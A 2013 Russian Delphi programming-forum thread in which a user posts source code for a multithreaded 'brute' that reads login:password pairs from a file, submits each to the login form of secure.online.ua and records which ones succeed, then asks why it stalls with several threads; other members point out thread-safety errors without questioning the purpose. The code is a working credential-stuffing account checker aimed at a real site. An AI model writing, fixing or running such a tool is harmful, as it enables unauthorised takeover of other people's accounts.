Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Работа с сетью в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 28.02.2013, 20:25   #1
snip4ik
Пользователь
 
Регистрация: 01.01.2013
Сообщений: 27
Вопрос Многопоточность в делфи

И так я уже всем наверное надоел со своими темами, но у меня вот такая проблема. Я набросал небольшой брут и сделал так сказать его многопоточным. В 1 потоке все прекрасно работает, но если я ставлю например 2 или 4 потока, то брут проверяет только первый аккаунт и стоит, хотя потоки и не завершенны.
В чем проблема? Вот собственно и сам код.

Код:
unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Vcl.Samples.Spin;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    IdHTTP1: TIdHTTP;
    OpenDialog1: TOpenDialog;
    Button2: TButton;
    SpinEdit1: TSpinEdit;
    Button3: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
type
  TMyThread = class(TTHread)
    private
    public
      procedure Execute; Override;
  end;

var
  Form1: TForm1;
  Thread:integer;
  i:integer;
  Work:Boolean;
  Accounts:TStringList;
  login, pass:String;

implementation

{$R *.dfm}

procedure TMyThread.Execute;
var StrPage:String;
DataInfo:TStringList;
begin
while Work do
begin
for i:=0 to Accounts.Count-1 do
begin
    //Отправка запроса
      login:= Copy(Accounts.Strings[i],1,Pos(':',Accounts.Strings[i])-1);
      pass:= Copy(Accounts.Strings[i],Pos(':',Accounts.Strings[i])+1,length(Accounts.Strings[i]));

      DataInfo:=TStringList.Create;
      DataInfo.Add('username='+login);
      DataInfo.Add('userpswd='+pass);
      DataInfo.Add('mem=on');
      DataInfo.Add('domain=online.ua');
      DataInfo.Add('rfr=http://www.online.ua/');
      DataInfo.Add('btn_login=Войти');

      StrPage:=Form1.IdHTTP1.Post('http://secure.online.ua/',DataInfo);

      if pos('logout',StrPage)<>0 then
      Form1.Memo1.Lines.Add('Подошел: '+login+';'+pass) else
      Form1.Memo1.Lines.Add('Не подошел: '+login+';'+pass);

      DataInfo.Free;

      if Accounts.Count=0 then
      work:=false;
    end;
dec (Thread);
if Thread=0 then
begin
Work:=false;
ShowMessage('ok!');
end;
end;
end;



procedure TForm1.Button1Click(Sender: TObject);
begin;
Work:=true;
 for Thread:=1  to strtoint(SpinEdit1.Text) do
  TMyThread.Create(false);
 Thread:=strtoint(SpinEdit1.Text)
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
  Accounts.Clear;
  Accounts.LoadFromFile(OpenDialog1.FileName);
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
Work:=false;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 Accounts:=TStringList.Create;
end;

end.
snip4ik вне форума Ответить с цитированием
Старый 01.03.2013, 08:50   #2
bulldog5293
Форумчанин
 
Регистрация: 13.05.2010
Сообщений: 670
По умолчанию

1) вынести код потока в отдельный unit
2) завести для потока счётчик (можеш казнуть в сторону proxy cheker-там всё показано)
bulldog5293 вне форума Ответить с цитированием
Старый 01.03.2013, 10:14   #3
Mifody
Форумчанин
 
Регистрация: 12.02.2009
Сообщений: 215
По умолчанию

блин, даже отвечать не хочется.
где критические секции или синхронизация? какого ... все потоки работают небезопасно с глобальными переменными?
Помог с вопросом - тыркаем в весы, Вам не сложно, а мне приятно
Mifody вне форума Ответить с цитированием
Старый 01.03.2013, 11:36   #4
evg_m
Старожил
 
Регистрация: 20.04.2008
Сообщений: 5,526
По умолчанию

1. использование глобальных объектов внутри потока для управления
2. использование VCL(визуальных компонентов Form1 Memo1) без синххринизации.
3. Все потоки работают через один объект HTTP (следствие из п.1) => непредсказуемость состояния оного => ступор!
Цитата:
брут проверяет только первый аккаунт и стоит
почитай эти 1 2 темы (и ссылки) и другие темы.
программа — запись алгоритма на языке понятном транслятору
evg_m вне форума Ответить с цитированием
Старый 02.03.2013, 18:31   #5
snip4ik
Пользователь
 
Регистрация: 01.01.2013
Сообщений: 27
По умолчанию

Всем спасибо! разобрался..
snip4ik вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Многопоточность danil123 Общие вопросы Delphi 9 19.12.2012 20:31
Многопоточность garyanikin Работа с сетью в Delphi 5 16.11.2012 14:24
Многопоточность WennY Общие вопросы Delphi 11 23.04.2011 00:46
Делфи, многопоточность. Lemo Фриланс 2 29.12.2010 12:58
Многопоточность kroŧ Общие вопросы Delphi 5 21.06.2010 10:47